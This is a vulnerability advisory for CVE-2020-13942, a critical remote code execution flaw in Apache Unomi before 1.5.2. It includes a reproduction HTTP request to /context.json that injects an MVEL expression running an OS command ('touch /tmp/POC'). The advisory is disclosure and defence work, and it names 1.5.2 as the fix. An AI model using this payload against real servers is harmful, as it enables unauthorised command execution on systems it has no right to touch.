---
title: "CX-2020-4284"
date: "2020-11-17T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2020-4284/"
---

# CX-2020-4284

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

Fixed: Nov 13, 2020

CVE-2020-13942  **Published:** Nov 17, 2020

CWE-20 CWE-20 Improper Input Validation  9.8 Critical Severity JAVA RCE unomi

ER Eugene Rojavski  Reported by Checkmarx Zero

Details Overview

## Summary

Affected versions of Apache Unomi allows remote attackers to send malicious requests with `MVEL` and `OGNL` expressions that could contain arbitratry classes resulting in Remote Code Execution (RCE).

## Product

Apache Unomi before 1.5.2

## Impact

The vulnerability is triggered through a public endpoint and allows an attacker to run OS commands on the vulnerable server.

## Steps to reproduce

Make the following HTTP request which contains a parameter containing a MVEL expression `(script::Runtime r = Runtime.getRuntime(); r.exec(”touch /tmp/POC”);)`.

```
POST /context.json HTTP/1.1
...
Content-Length: 325
{
    "filters": [
        {
            "id": "filter1",
            "filters": [
                {
                    "condition": {
                        "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime();
r.exec("touch /tmp/POC");"
                        },
                        "type": "profilePropertyCOndition"

                    }
                }
            ]
        }
    ],
    "sessionId": "demo-session-id"
}

```

### Expected result:

A file named `POC` will be created in `/tmp` folder.

## Remediation

Update Apache Unomi to 1.5.2 and above

## Credit

This issue was discovered and reported by Checkmarx Security Researcher Eugene Rojavski.

## Resources

1. [Blog](https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/)
2. [Advisory](https://unomi.apache.org/security/cve-2020-13942.txt)
3. [0b81ba3](https://github.com/apache/unomi/commit/0b81ba35dd3c3c2e0a92ce06592b3df90571eced)

0  Critical Severity CVSS v3.1 Score

   9.8

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High

Advisory Timeline1. Discovered Jun 24, 2020 Vulnerability disclosed to Apache Unomi developers
2. Fixed Nov 13, 2020 Fixed version 1.5.2 was released

## Explore more findings

[27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351  Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)